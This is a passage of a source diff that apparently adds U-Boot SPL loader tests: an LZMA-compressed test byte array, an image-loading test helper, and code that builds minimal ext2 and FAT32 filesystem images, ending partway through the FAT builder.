+ 0xfa, 0xe0, 0x1c, 0x88, 0x06, 0x84, 0xaa, 0xcb, 0x5e, 0xfa, 0x15, 0x5a,
+ 0xdd, 0x10, 0x43, 0x81, 0xf2, 0x50, 0x3e, 0x93, 0x26, 0x77, 0x1c, 0x77,
+ 0xe9, 0x0c, 0xfc, 0x5f, 0xdd, 0x67, 0x31, 0x02, 0xc6, 0xdd, 0xf4, 0x30,
+ 0x76, 0x51, 0xce, 0x56, 0xba, 0x7f, 0x44, 0xbd, 0x42, 0x9f, 0x10, 0x8c,
+ 0x56, 0x49, 0x48, 0xa2, 0xcb, 0xc4, 0xdd, 0x29, 0xae, 0xf0, 0x33, 0x35,
+ 0x46, 0x69, 0x1d, 0xae, 0xde, 0xde, 0x98, 0x82, 0x79, 0xa6, 0x50, 0x28,
+ 0xb3, 0x5f, 0x10, 0x24, 0x63, 0xee, 0x9a, 0x22, 0xbe, 0xf8, 0x3a, 0xf4,
+ 0xab, 0x98, 0xfe, 0xdf, 0x30, 0x03, 0xe8, 0x45, 0x8c, 0xf4, 0x85, 0xc6,
+ 0x98, 0x7b, 0x35, 0xb8, 0x30, 0x9c, 0x15, 0xa6, 0x45, 0xbd, 0x39, 0x84,
+ 0xe7, 0x43, 0x4b, 0x05, 0xa4, 0x8f, 0x52, 0x8e, 0x4a, 0xe4, 0x87, 0xc1,
+ 0xdc, 0xdf, 0x25, 0x9c, 0x5c, 0x37, 0xd0, 0x66, 0x12, 0x41, 0x66, 0x8c,
+ 0x28, 0xd0, 0x3f, 0x5c, 0x7f, 0x15, 0x9b, 0xcf, 0xa0, 0xae, 0x29, 0x33,
+ 0xb0, 0xe4, 0xb7, 0x36, 0x2a, 0x45, 0x83, 0xff, 0x86, 0x75, 0xcf, 0xa7,
+ 0x4d, 0x5c, 0xa8, 0xcf, 0x3f, 0xf2, 0xc8, 0xde, 0xdd, 0xad, 0x42, 0x8f,
+ 0x0e, 0xd0, 0x11, 0x24, 0x42, 0x86, 0x51, 0x52, 0x76, 0x21, 0x68, 0xf1,
+ 0xa7, 0x8f, 0xdb, 0x5b, 0x78, 0xfa, 0x44, 0x5f, 0xee, 0x31, 0xda, 0x62,
+ 0x5f, 0xfe, 0x69, 0xae, 0x97, 0xc9, 0xb5, 0x04, 0x76, 0x79, 0x2e, 0xb9,
+ 0xd9, 0x1b, 0xdd, 0xb7, 0xc4, 0x12, 0x78, 0xb2, 0x4d, 0xab, 0xd2, 0x29,
+ 0x25, 0x8c, 0xd5, 0x52, 0x4a, 0xd7, 0x2e, 0x18, 0x9d, 0xa2, 0xee, 0x7b,
+ 0xa5, 0xe5, 0x35, 0x3c, 0xb5, 0x54, 0x1c, 0x7f, 0x87, 0x4b, 0xc0, 0xbb,
+ 0x1a, 0x85, 0x19, 0xc0, 0xa9, 0x2b, 0x4d, 0xed, 0x71, 0xc0, 0x15, 0xb3,
+ 0x49, 0x2c, 0x46, 0xfc, 0x37, 0x40, 0xc0, 0x60, 0xd0, 0x00, 0x96, 0xfa,
+ 0x7f, 0xbb, 0x30, 0x94, 0x6b, 0x81, 0x61, 0xc5, 0x13, 0x93, 0x95, 0xaa,
+ 0xf3, 0x8d, 0x1d, 0xac, 0xdb, 0xbd, 0xc3, 0x90, 0xf3, 0xd2, 0x5f, 0x3a,
+ 0x08, 0xb1, 0xc9, 0x3a, 0xe8, 0x25, 0x4d, 0x20, 0x2a, 0xe9, 0x4c, 0xaf,
+ 0x9b, 0x54, 0x7b, 0xaf, 0x89, 0x44, 0x3a, 0x60, 0x23, 0xd3, 0x02, 0xb1,
+ 0xb3, 0x9a, 0x3a, 0xb0, 0xa0, 0xdb, 0x61, 0x0b, 0xac, 0x55, 0xa1, 0x36,
+ 0x55, 0x5b, 0xc4, 0xc5, 0xbd, 0x2a, 0x16, 0xe9, 0xe7, 0x86, 0x7f, 0xdb,
+ 0xee, 0x90, 0xfa, 0xfd, 0x08, 0x7f, 0x1a, 0x43, 0xe0, 0xb8, 0x21, 0xb3,
+ 0xe3, 0xdf, 0x27, 0x56, 0x61, 0xc4, 0xe8, 0xd5, 0x60, 0xe9, 0x6d, 0x49,
+ 0xd9, 0xa8, 0xf5, 0xd9, 0xfc, 0x66, 0x82, 0xe9, 0x80, 0x5b, 0x85, 0x16,
+ 0x55, 0x2b, 0xef, 0x50, 0x90, 0x6c, 0x5d, 0x81, 0x00, 0x00, 0x88, 0x9b,
+ 0xb4, 0x62, 0x49, 0x46, 0x2e, 0x5d, 0x71, 0x95, 0xff, 0x63, 0xfb, 0x93,
+ 0x23, 0xf8, 0x9f, 0xa2, 0x55, 0x56, 0xd4, 0xd5, 0xf7, 0xae, 0xaf, 0xd3,
+ 0xf6, 0x82, 0xc8, 0xdd, 0x89, 0x0f, 0x7e, 0x89, 0x0d, 0x0d, 0x7f, 0x4f,
+ 0x84, 0xa7, 0x16, 0xe8, 0xaf, 0xf2, 0x95, 0xd7, 0xc3, 0x66, 0xd6, 0x85,
+ 0x5b, 0xa1, 0xbb, 0xea, 0x31, 0x02, 0xac, 0xa2, 0x7b, 0x50, 0xf4, 0x78,
+ 0x29, 0x49, 0x59, 0xf6, 0x41, 0x42, 0x52, 0xa8, 0x19, 0xfb, 0x3d, 0xda,
+ 0xa9, 0x8d, 0xac, 0xe1, 0x25, 0xd4, 0x12, 0x1e, 0x2b, 0x48, 0x44, 0xb0,
+ 0xf6, 0x29, 0xd0, 0x55, 0x22, 0xb4, 0xe7, 0xbc, 0x22, 0x97, 0x1f, 0xe2,
+ 0xe1, 0x73, 0x16, 0x13, 0x7a, 0x00, 0x62, 0x14, 0xcb, 0x25, 0x9b, 0x21,
+ 0x98, 0x9d, 0xb8, 0xd8, 0xf4, 0x65, 0xf6, 0x8f, 0x39, 0xe4, 0x76, 0xf7,
+ 0x30, 0xaf, 0xbc, 0x3a, 0xfe, 0x0e, 0xf1, 0x81, 0xa7, 0xff, 0x4d, 0xa7,
+ 0xff, 0xbf, 0x15, 0x60, 0x0b, 0xcd, 0x69, 0xd5, 0x77, 0xba, 0xcb, 0x7b,
+ 0x5a, 0xfb, 0x34, 0xc7, 0x5d, 0x13, 0x33, 0xd7, 0x86, 0x02, 0x43, 0x57,
+ 0x52, 0x2c, 0x74, 0x61, 0x21, 0xa3, 0x34, 0xf5, 0x89, 0x51, 0x44, 0x89,
+ 0xfc, 0xbb, 0x57, 0x5c, 0x6d, 0xb0, 0x2e, 0x8c, 0xff, 0x73, 0xe5, 0x09,
+ 0x13, 0x3b, 0x45, 0x5b, 0x27, 0x88, 0xee, 0x9b, 0xab, 0x57, 0x7c, 0x9b,
+ 0xb9, 0x78, 0x73, 0xd2, 0x2d, 0x98, 0x6f, 0xd2, 0x78, 0xb3, 0xeb, 0xaa,
+ 0x18, 0x44, 0x87, 0x6d, 0x51, 0x1e, 0x9b, 0x73, 0xaa, 0x91, 0x1a, 0x4f,
+ 0x69, 0x78, 0xef, 0x3f, 0xb1, 0x2d, 0x39, 0x3e, 0xda, 0x31, 0xfc, 0x99,
+ 0xf6, 0xa2, 0x8c, 0xe5, 0xfd, 0x97, 0x95, 0x77, 0x37, 0xef, 0xf5, 0xd1,
+ 0xc8, 0x74, 0x2c, 0x9a, 0x1f, 0x23, 0x8f, 0x72, 0x96, 0x3d, 0xb5, 0xad,
+ 0x28, 0xa0, 0x6c, 0x66, 0xe8, 0xee, 0xaa, 0x9d, 0xc2, 0x8a, 0x56, 0x54,
+ 0x89, 0x74, 0x56, 0xdc, 0x57, 0x49, 0xc3, 0x8e, 0xb9, 0x3a, 0x91, 0x34,
+ 0xc4, 0x5e, 0x0b, 0x13, 0x63, 0x5e, 0xeb, 0xc5, 0xef, 0xc7, 0xe9, 0x7f,
+ 0x27, 0xe8, 0xe7, 0xe5, 0x0d, 0x83, 0x95, 0x5f, 0x8a, 0xf2, 0xb2, 0x22,
+ 0x03, 0x8d, 0x71, 0x4f, 0x62, 0xb7, 0xf1, 0x87, 0xf5, 0x3f, 0xc4, 0x23,
+ 0x21, 0x40, 0x35, 0xcf, 0x79, 0x7a, 0x5b, 0x9d, 0x76, 0xb2, 0xdc, 0x6a,
+ 0xb5, 0x1d, 0x8b, 0xb6, 0x9a, 0x19, 0xe4, 0x87, 0xf5, 0xce, 0x38, 0xf3,
+ 0x70, 0xbf, 0x9e, 0x86, 0xa6, 0x07, 0x53, 0xdd, 0x5d, 0xc7, 0x72, 0x84,
+ 0x47, 0x38, 0xd0, 0xe2, 0xeb, 0x64, 0x4c, 0x3a, 0x1e, 0xf6, 0x56, 0x79,
+ 0x75, 0x75, 0x14, 0x5d, 0xe4, 0x1d, 0x9d, 0xbb, 0xe1, 0x35, 0x03, 0x5e,
+ 0x4f, 0x8f, 0xea, 0x95, 0xde, 0x19, 0x57, 0x98, 0xe9, 0x2c, 0x42, 0x22,
+ 0xcb, 0x0f, 0x15, 0x7a, 0x6b, 0x53, 0xc3, 0xec, 0xdc, 0xa0, 0x66, 0x26,
+ 0x91, 0x04, 0x83, 0x75, 0x09, 0x0c, 0x22, 0x05, 0xec, 0x3a, 0x2d, 0x39,
+ 0xea, 0x19, 0xf2, 0x1d, 0xdb, 0xba, 0x5c, 0x46, 0x47, 0xd4, 0x94, 0x6d,
+ 0x51, 0xdb, 0x68, 0xde, 0x0c, 0xa0, 0x36, 0x8f, 0xbc, 0xfd, 0x9b, 0x8f,
+ 0xfe, 0x04, 0x1f, 0xde, 0x1e, 0x77, 0xb5, 0x80, 0xb9, 0x9c, 0x1b, 0x24,
+ 0x61, 0xfc, 0x2b, 0xc0, 0x42, 0x2b, 0xc5, 0x90, 0x58, 0xa2, 0xb1, 0x38,
+ 0x58, 0xf2, 0x8b, 0x65, 0xbf, 0xe8, 0xe6, 0x79, 0xcf, 0x65, 0x35, 0xa5,
+ 0xe1, 0xb7, 0x8b, 0x95, 0x54, 0xd7, 0x1d, 0xf0, 0x91, 0x18, 0xc0, 0x5d,
+ 0x2c, 0xb5, 0xca, 0x1a, 0x7f, 0x8d, 0xfb, 0x9e, 0x57, 0x1c, 0x5c, 0xf0,
+ 0x94, 0x36, 0x51, 0x95, 0x27, 0x62, 0xca, 0x92, 0x96, 0xe5, 0x00, 0x2e,
+ 0xa4, 0x41, 0x97, 0xbf, 0x28, 0x3c, 0x6d, 0xc1, 0xb7, 0xe9, 0x1c, 0x2e,
+ 0x3e, 0xe0, 0x5e, 0x89, 0x0c, 0x78, 0x88, 0x80, 0xb8, 0x30, 0xd2, 0x22,
+ 0xf9, 0x71, 0xb4, 0xc8, 0xee, 0xe6, 0x80, 0x04, 0x04, 0x9a, 0xfb, 0x0c,
+ 0x36, 0xcb, 0xea, 0x66, 0xf9, 0x52, 0x8c, 0x66, 0xbf, 0x4c, 0x0f, 0xf4,
+ 0xf8, 0x1e, 0x7e, 0x39, 0x80, 0xe8, 0x82, 0x4b, 0x0e, 0x66, 0x1d, 0x51,
+ 0x16, 0xa9, 0x8d, 0xd6, 0xea, 0x33, 0xb0, 0x2c, 0x36, 0x25, 0xf5, 0x01,
+ 0x30, 0x7e, 0x03, 0x7f, 0xae, 0x8e, 0xd6, 0x25, 0x62, 0x6d, 0x99, 0x8c,
+ 0x1f, 0xc1, 0x22, 0xf0, 0x94, 0x80, 0xbf, 0x82, 0x51, 0xea, 0xc2, 0x5a,
+ 0x3c, 0x85, 0x2a, 0x5d, 0xbe, 0xae, 0xe1, 0xe3, 0x07, 0x92, 0xd2, 0x40,
+ 0x47, 0xe8, 0x0f, 0x1a, 0xa5, 0x73, 0x64, 0x26, 0xc4, 0xac, 0xca, 0xc2,
+ 0x83, 0x5a, 0x56, 0xbc, 0x81, 0x21, 0xcb, 0x72, 0xf3, 0xe7, 0x82, 0x1e,
+ 0xc8, 0x54, 0x18, 0x42, 0xfe, 0xd6, 0xfc, 0x96, 0x0e, 0x03, 0x29, 0x98,
+ 0x4f, 0xd1, 0xd2, 0x98, 0x7c, 0x9e, 0x4e, 0x1a, 0x0f, 0xd6, 0x4e, 0xa4,
+ 0x52, 0x1b, 0xd1, 0xd8, 0x36, 0xf7, 0x47, 0x5f, 0xce, 0xcb, 0x87, 0x36,
+ 0xc8, 0x9b, 0x44, 0xc6, 0x7a, 0xf3, 0x45, 0x28, 0xae, 0x96, 0x5a, 0x85,
+ 0x62, 0x8b, 0x10, 0xc2, 0x7b, 0x39, 0x51, 0xdf, 0xf4, 0x21, 0xc2, 0x6b,
+ 0x6f, 0x93, 0x27, 0xed, 0xf6, 0xea, 0xff, 0x2a, 0x21, 0x70, 0x84, 0x4e,
+ 0x21, 0xac, 0xbc, 0x06, 0x41, 0xd3, 0x59, 0xa0, 0xa1, 0x50, 0xa6, 0x87,
+ 0xa2, 0x48, 0xad, 0x94, 0x44, 0x8d, 0x2f, 0xa8, 0xc6, 0x10, 0xb5, 0xeb,
+ 0x66, 0x82, 0x94, 0x5f, 0xae, 0x6a, 0x56, 0xb4, 0x8d, 0xf4, 0x62, 0x80,
+ 0xe4, 0x42, 0xc4, 0xbc, 0xe7, 0xee, 0xa6, 0x96, 0x3b, 0xfd, 0xc0, 0x92,
+ 0x7d, 0xcd, 0xe7, 0x0c, 0x99, 0x9a, 0xb6, 0x83, 0xcf, 0x45, 0xe5, 0x74,
+ 0xb3, 0xbc, 0xc0, 0x40, 0xad, 0x4d, 0xfc, 0xa7, 0x92, 0x35, 0x13, 0x81,
+ 0x5c, 0x9c, 0x21, 0x00, 0xa4, 0x37, 0x07, 0x1d, 0x19, 0xfc, 0x88, 0x4d,
+ 0x71, 0x43, 0x7d, 0x94, 0xf7, 0x32, 0xb8, 0x4b, 0x8a, 0x54, 0xd6, 0xe4,
+ 0x37, 0x4f, 0x27, 0x1f, 0xfd, 0x45, 0x83, 0xb9, 0x14, 0x5a, 0xf7, 0x36,
+ 0xdc, 0x98, 0xad, 0x99, 0xb9, 0x38, 0x69, 0xac, 0x18, 0x7e, 0x47, 0xd0,
+ 0x63, 0x27, 0xba, 0xe7, 0xd5, 0x1d, 0x7b, 0x6e, 0xde, 0x28, 0x7b, 0xf1,
+ 0x84, 0x4d, 0x2d, 0x7c, 0x16, 0x38, 0x4b, 0x16, 0xa9, 0x10, 0x83, 0xfb,
+ 0xe0, 0xe0, 0x6f, 0xdd, 0x03, 0x0a, 0xb8, 0x81, 0xf5, 0x8c, 0x98, 0xc3,
+ 0xf4, 0xc8, 0x31, 0x3a, 0xed, 0x14, 0x83, 0x89, 0xc3, 0x0e, 0xf7, 0xba,
+ 0x84, 0xb0, 0x49, 0xdf, 0xc6, 0x6b, 0xed, 0xbe, 0xd4, 0xa3, 0x83, 0x3a,
+ 0xe6, 0x6d, 0xa3, 0x83, 0x17, 0x43, 0x5e, 0x3a, 0x83, 0xda, 0x81, 0xe3,
+ 0x26, 0x95, 0x6b, 0xe5, 0x30, 0x28, 0x6d, 0xec, 0xd7, 0xd7, 0x35, 0xfa,
+ 0x1a, 0xad, 0x86, 0x04, 0x05, 0x2c, 0x76, 0x3f, 0xb2, 0x83, 0x92, 0x4e,
+ 0xef, 0x05, 0xde, 0x13, 0x26, 0x68, 0x80, 0x57, 0xee, 0x92, 0x80, 0xa3,
+ 0x99, 0xb4, 0xac, 0x98, 0x31, 0xd4, 0xf3, 0xe2, 0x60, 0xd9, 0xb9, 0x8d,
+ 0x20, 0xf7, 0x97, 0x70, 0x10, 0xd6, 0xba, 0x86, 0xb8, 0x9c, 0xb8, 0xf8,
+ 0x49, 0x71, 0x28, 0x9d, 0x05, 0x38, 0x1f, 0x63, 0xba, 0xf7, 0x15, 0x60,
+ 0x96, 0x61, 0x84, 0x68, 0xeb, 0x5d, 0x28, 0x51, 0xe3, 0x51, 0xdd, 0x69,
+ 0x8a, 0xdd, 0xba, 0xec, 0xbd, 0xd3, 0xa1, 0x42, 0x83, 0x59, 0x77, 0x11,
+ 0x12, 0x86, 0x5b, 0x8d, 0x30, 0xcf, 0xdf, 0x6f, 0xea, 0x9d, 0x31, 0xa2,
+ 0x65, 0xa5, 0x61, 0xc0, 0xde, 0x52, 0x6c, 0x72, 0x71, 0x0b, 0x4c, 0x7a,
+ 0x4c, 0x9f, 0x75, 0x74, 0x38, 0xc8, 0xdd, 0x12, 0xba, 0x21, 0x57, 0x1b,
+ 0x45, 0xb3, 0x02, 0x1d, 0x67, 0x22, 0x66, 0x53, 0x18, 0x48, 0xed, 0x60,
+ 0x40, 0x55, 0xd1, 0x25, 0x3b, 0xbc, 0x08, 0x7b, 0x19, 0x8a, 0x30, 0x5b,
+ 0x02, 0x4f, 0x65, 0x42, 0xff, 0xce, 0x87, 0xe8, 0x97, 0x2b, 0xbb, 0xfe,
+ 0x52, 0x52, 0x72, 0xe8, 0xb5, 0x77, 0xb7, 0x8e, 0x94, 0x34, 0xbc, 0x46,
+ 0xf1, 0xe1, 0x94, 0x98, 0x19, 0xbe, 0x7c, 0x3f, 0xf6, 0x0e, 0xe4, 0xbb,
+ 0x88, 0x32, 0x07, 0x83, 0x64, 0xad, 0xd7, 0xd1, 0xe8, 0x35, 0x8d, 0x5d,
+ 0x70, 0x16, 0xc8, 0x11, 0x94, 0x39, 0xc9, 0xac, 0xd6, 0xed, 0x6b, 0xdf,
+ 0xc8, 0xf3, 0x1d, 0x5e, 0x37, 0xd8, 0xb5, 0x86, 0x9b, 0xc2, 0xdc, 0x3c,
+ 0x5c, 0x04, 0x52, 0x5c, 0x11, 0x88, 0x0a, 0x2b, 0x78, 0x48, 0x9e, 0x5e,
+ 0x98, 0x57, 0x5a, 0xd1, 0x77, 0x1c, 0x7d, 0x5f, 0x60, 0xbb, 0x61, 0x7e,
+ 0x7e, 0x2a, 0xaf, 0x44, 0x14, 0x88, 0xfc, 0xa5, 0x31, 0xb7, 0xd4, 0x44,
+ 0x48, 0xda, 0xb5, 0x71, 0xa8, 0xd8, 0x4f, 0x79, 0xcd, 0xe4, 0xbe, 0xb6,
+ 0x1a, 0x61, 0x74, 0x4b, 0xd8, 0xec, 0xd7, 0xbf, 0xad, 0x57, 0x00, 0x42,
+ 0x04, 0xe8, 0xb3, 0xec, 0x47, 0x1d, 0x2a, 0x0a, 0xde, 0x7c, 0x6e, 0x5e,
+ 0xf8, 0xaa, 0x44, 0x05, 0x10, 0xab, 0xe9, 0x4e, 0xd7, 0x44, 0x0b, 0x97,
+ 0x6f, 0x1a, 0xc1, 0x59, 0x2b, 0xe4, 0xe1, 0x8a, 0x13, 0x82, 0x65, 0xd8,
+ 0xae, 0x5f, 0x2b, 0xbc, 0xa6, 0x14, 0x39, 0xaf, 0x38, 0x41, 0x26, 0x74,
+ 0xdb, 0x55, 0x6b, 0xe2, 0x21, 0x80, 0x5d, 0x20, 0xc3, 0xf5, 0x82, 0xee,
+ 0xcc, 0x3c, 0xc9, 0xb4, 0xeb, 0x52, 0xe9, 0x13, 0x8a, 0xea, 0xc6, 0x19,
+ 0x70, 0x37, 0x1b, 0xb8, 0x2e, 0x86, 0xa2, 0xe9, 0x9d, 0xb6, 0xd5, 0xd6,
+ 0xf3, 0xa8, 0x31, 0xf3, 0x02, 0xaa, 0x10, 0x33, 0x3f, 0xba, 0xf8, 0xf9,
+ 0x46, 0x5b, 0xe1, 0xd7, 0x34, 0x9f, 0x94, 0xcb, 0xfb, 0xb1, 0x3d, 0x60,
+ 0x77, 0x85, 0x14, 0xd4, 0xcf, 0x55, 0x60, 0x5d, 0x47, 0x6c, 0x07, 0xb4,
+ 0xc7, 0x73, 0xbd, 0x49, 0xbd, 0xa5, 0x31, 0xa1, 0xfa, 0x34, 0x3a, 0x8b,
+ 0x77, 0x1b, 0xaa, 0xaf, 0xa5, 0x87, 0x12, 0x4e, 0x36, 0x06, 0x14, 0xe7,
+ 0xb3, 0xb8, 0x87, 0x6c, 0x4b, 0x50, 0xc9, 0x52, 0x1b, 0x19, 0x48, 0x69,
+ 0x5b, 0x7f, 0xd8, 0xc9, 0x14, 0xb8, 0x11, 0xa0, 0x51, 0x09, 0xbd, 0x42,
+ 0x5a, 0x50, 0x32, 0x57, 0x69, 0x39, 0x30, 0xdb, 0xbf, 0x8b, 0x93, 0x54,
+ 0x43, 0x80, 0x4e, 0xd0, 0xc6, 0xf2, 0x81, 0x15, 0x6d, 0xef, 0x5a, 0xb6,
+ 0x4d, 0x70, 0x93, 0x88, 0x8d, 0xce, 0x0d, 0xb8, 0xe9, 0xac, 0xa2, 0xcd,
+ 0xc7, 0x18, 0xa5, 0x95, 0xb7, 0xf6, 0x0c, 0x6f, 0xe1, 0x10, 0x7b, 0x22,
+ 0xf8, 0x81, 0x18, 0x42, 0x6a, 0x09, 0x75, 0x20, 0xb4, 0x2f, 0x67, 0x7a,
+ 0xda, 0x55, 0x28, 0xc3, 0x81, 0xf7, 0xc1, 0xf0, 0xe6, 0x1b, 0x29, 0x9c,
+ 0x72, 0x87, 0xe5, 0x4c, 0xa9, 0x5b, 0x5b, 0x62, 0xb5, 0xb7, 0x1e, 0x82,
+ 0xc3, 0x7b, 0xaf, 0xe9, 0x6f, 0x37, 0x31, 0x9f, 0x79, 0xe7, 0x4f, 0x06,
+ 0x1e, 0xff, 0xff, 0x80, 0x8e, 0x00, 0x00
+};
+
+const size_t lzma_compressed_size = sizeof(lzma_compressed);
+
+int do_spl_test_load(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type, struct spl_image_loader *loader,
+ int (*write_image)(struct unit_test_state *, void *, size_t))
+{
+ size_t img_size, img_data, plain_size = SPL_TEST_DATA_SIZE;
+ struct spl_image_info info_write = {
+ .name = test_name,
+ .size = type == LEGACY_LZMA ? sizeof(lzma_compressed) :
+ plain_size,
+ }, info_read = { };
+ struct spl_boot_device bootdev = {
+ .boot_device = loader->boot_device,
+ };
+ char *data, *plain;
+ void *img;
+
+ img_size = create_image(NULL, type, &info_write, &img_data);
+ ut_assert(img_size);
+ img = calloc(img_size, 1);
+ ut_assertnonnull(img);
+
+ data = img + img_data;
+ if (type == LEGACY_LZMA) {
+ plain = malloc(plain_size);
+ ut_assertnonnull(plain);
+ generate_data(plain, plain_size, "lzma");
+ memcpy(data, lzma_compressed, sizeof(lzma_compressed));
+ } else {
+ plain = data;
+ generate_data(plain, plain_size, test_name);
+ }
+ ut_asserteq(img_size, create_image(img, type, &info_write, NULL));
+
+ if (write_image(uts, img, img_size))
+ return CMD_RET_FAILURE;
+
+ ut_assertok(loader->load_image(&info_read, &bootdev));
+ if (check_image_info(uts, &info_write, &info_read))
+ return CMD_RET_FAILURE;
+ if (type == LEGACY_LZMA)
+ ut_asserteq(plain_size, info_read.size);
+ ut_asserteq_mem(plain, phys_to_virt(info_write.load_addr), plain_size);
+
+ if (type == LEGACY_LZMA)
+ free(plain);
+ free(img);
+ return 0;
+}
diff --git a/test/image/spl_load_fs.c b/test/image/spl_load_fs.c
new file mode 100644
index 00000000000..935078bf67b
--- /dev/null
+++ b/test/image/spl_load_fs.c
@@ -0,0 +1,441 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <blk.h>
+#include <ext_common.h>
+#include <ext4fs.h>
+#include <fat.h>
+#include <fs.h>
+#include <memalign.h>
+#include <spl.h>
+#include <asm/io.h>
+#include <linux/stat.h>
+#include <test/spl.h>
+#include <test/ut.h>
+
+/**
+ * create_ext2() - Create an "ext2" filesystem with a single file
+ * @dst: The location of the new filesystem; MUST be zeroed
+ * @size: The size of the file
+ * @filename: The name of the file
+ * @data_offset: Filled with the offset of the file data from @dst
+ *
+ * Budget mke2fs. We use 1k blocks (to reduce overhead) with a single block
+ * group, which limits us to 8M of data. Almost every feature which increases
+ * complexity (checksums, hash tree directories, etc.) is disabled. We do cheat
+ * a little and use extents from ext4 to save having to deal with indirects, but
+ * U-Boot doesn't care.
+ *
+ * If @dst is %NULL, nothing is copied.
+ *
+ * Return: The size of the filesystem in bytes
+ */
+static size_t create_ext2(void *dst, size_t size, const char *filename,
+ size_t *data_offset)
+{
+ u32 super_block = 1;
+ u32 group_block = 2;
+ u32 block_bitmap_block = 3;
+ u32 inode_bitmap_block = 4;
+ u32 inode_table_block = 5;
+ u32 root_block = 6;
+ u32 file_block = 7;
+
+ u32 root_ino = EXT2_ROOT_INO;
+ u32 file_ino = EXT2_BOOT_LOADER_INO;
+
+ u32 block_size = EXT2_MIN_BLOCK_SIZE;
+ u32 inode_size = sizeof(struct ext2_inode);
+
+ u32 file_blocks = (size + block_size - 1) / block_size;
+ u32 blocks = file_block + file_blocks;
+ u32 inodes = block_size / inode_size;
+ u32 filename_len = strlen(filename);
+ u32 dirent_len = ALIGN(filename_len, sizeof(struct ext2_dirent)) +
+ sizeof(struct ext2_dirent);
+
+ struct ext2_sblock *sblock = dst + super_block * block_size;
+ struct ext2_block_group *bg = dst + group_block * block_size;
+ struct ext2_inode *inode_table = dst + inode_table_block * block_size;
+ struct ext2_inode *root_inode = &inode_table[root_ino - 1];
+ struct ext2_inode *file_inode = &inode_table[file_ino - 1];
+ struct ext4_extent_header *ext_block = (void *)&file_inode->b;
+ struct ext4_extent *extent = (void *)(ext_block + 1);
+ struct ext2_dirent *dot = dst + root_block * block_size;
+ struct ext2_dirent *dotdot = dot + 2;
+ struct ext2_dirent *dirent = dotdot + 2;
+ struct ext2_dirent *last = ((void *)dirent) + dirent_len;
+
+ /* Make sure we fit in one block group */
+ if (blocks > block_size * 8)
+ return 0;
+
+ if (filename_len > EXT2_NAME_LEN)
+ return 0;
+
+ if (data_offset)
+ *data_offset = file_block * block_size;
+
+ if (!dst)
+ goto out;
+
+ sblock->total_inodes = cpu_to_le32(inodes);
+ sblock->total_blocks = cpu_to_le32(blocks);
+ sblock->first_data_block = cpu_to_le32(super_block);
+ sblock->blocks_per_group = cpu_to_le32(blocks);
+ sblock->fragments_per_group = cpu_to_le32(blocks);
+ sblock->inodes_per_group = cpu_to_le32(inodes);
+ sblock->magic = cpu_to_le16(EXT2_MAGIC);
+ /* Done mostly so we can pretend to be (in)compatible */
+ sblock->revision_level = cpu_to_le32(EXT2_DYNAMIC_REV);
+ /* Not really accurate but it doesn't matter */
+ sblock->first_inode = cpu_to_le32(EXT2_GOOD_OLD_FIRST_INO);
+ sblock->inode_size = cpu_to_le32(inode_size);
+ sblock->feature_incompat = cpu_to_le32(EXT4_FEATURE_INCOMPAT_EXTENTS);
+
+ bg->block_id = cpu_to_le32(block_bitmap_block);
+ bg->inode_id = cpu_to_le32(inode_bitmap_block);
+ bg->inode_table_id = cpu_to_le32(inode_table_block);
+
+ /*
+ * All blocks/inodes are in-use. I don't want to have to deal with
+ * endianness, so just fill everything in.
+ */
+ memset(dst + block_bitmap_block * block_size, 0xff, block_size * 2);
+
+ root_inode->mode = cpu_to_le16(S_IFDIR | 0755);
+ root_inode->size = cpu_to_le32(block_size);
+ root_inode->nlinks = cpu_to_le16(3);
+ root_inode->blockcnt = cpu_to_le32(1);
+ root_inode->flags = cpu_to_le32(EXT4_TOPDIR_FL);
+ root_inode->b.blocks.dir_blocks[0] = root_block;
+
+ file_inode->mode = cpu_to_le16(S_IFREG | 0644);
+ file_inode->size = cpu_to_le32(size);
+ file_inode->nlinks = cpu_to_le16(1);
+ file_inode->blockcnt = cpu_to_le32(file_blocks);
+ file_inode->flags = cpu_to_le32(EXT4_EXTENTS_FL);
+ ext_block->eh_magic = cpu_to_le16(EXT4_EXT_MAGIC);
+ ext_block->eh_entries = cpu_to_le16(1);
+ ext_block->eh_max = cpu_to_le16(sizeof(file_inode->b) /
+ sizeof(*ext_block) - 1);
+ extent->ee_len = cpu_to_le16(file_blocks);
+ extent->ee_start_lo = cpu_to_le16(file_block);
+
+ /* I'm not sure we need these, but it can't hurt */
+ dot->inode = cpu_to_le32(root_ino);
+ dot->direntlen = cpu_to_le16(2 * sizeof(*dot));
+ dot->namelen = 1;
+ dot->filetype = FILETYPE_DIRECTORY;
+ memcpy(dot + 1, ".", dot->namelen);
+
+ dotdot->inode = cpu_to_le32(root_ino);
+ dotdot->direntlen = cpu_to_le16(2 * sizeof(*dotdot));
+ dotdot->namelen = 2;
+ dotdot->filetype = FILETYPE_DIRECTORY;
+ memcpy(dotdot + 1, "..", dotdot->namelen);
+
+ dirent->inode = cpu_to_le32(file_ino);
+ dirent->direntlen = cpu_to_le16(dirent_len);
+ dirent->namelen = filename_len;
+ dirent->filetype = FILETYPE_REG;
+ memcpy(dirent + 1, filename, filename_len);
+
+ last->direntlen = block_size - dirent_len;
+
+out:
+ return (size_t)blocks * block_size;
+}
+
+/**
+ * create_fat() - Create a FAT32 filesystem with a single file
+ * @dst: The location of the new filesystem; MUST be zeroed
+ * @size: The size of the file
+ * @filename: The name of the file
+ * @data_offset: Filled with the offset of the file data from @dst
+ *
+ * Budget mkfs.fat. We use FAT32 (so I don't have to deal with FAT12) with no
+ * info sector, and a single one-sector FAT. This limits us to 64k of data
+ * (enough for anyone). The filename must fit in 8.3.
+ *
+ * If @dst is %NULL, nothing is copied.
+ *
+ * Return: The size of the filesystem in bytes
+ */
+static size_t create_fat(void *dst, size_t size, const char *filename,
+ size_t *data_offset)
+{
+ u16 boot_sector = 0;
+ u16 fat_sector = 1;
+ u32 root_sector = 2;
+ u32 file_sector = 3;
+
+ u16 sector_size = 512;
+ u32 file_sectors = (size + sector_size - 1) / sector_size;
+ u32 sectors = file_sector + file_sectors;
+
+ char *ext;
+ size_t filename_len, ext_len;
+ int i;
+
+ struct boot_sector *bs = dst + boot_sector * sector_size;
+ struct volume_info *vi = (void *)(bs + 1);
+ __le32 *fat = dst + fat_sector * sector_size;
+ struct dir_entry *dirent = dst + root_sector * sector_size;
+
+ /* Make sure we fit in the FAT */
+ if (sectors > sector_size / sizeof(u32))
+ return 0;
+
+ ext = strchr(filename, '.');
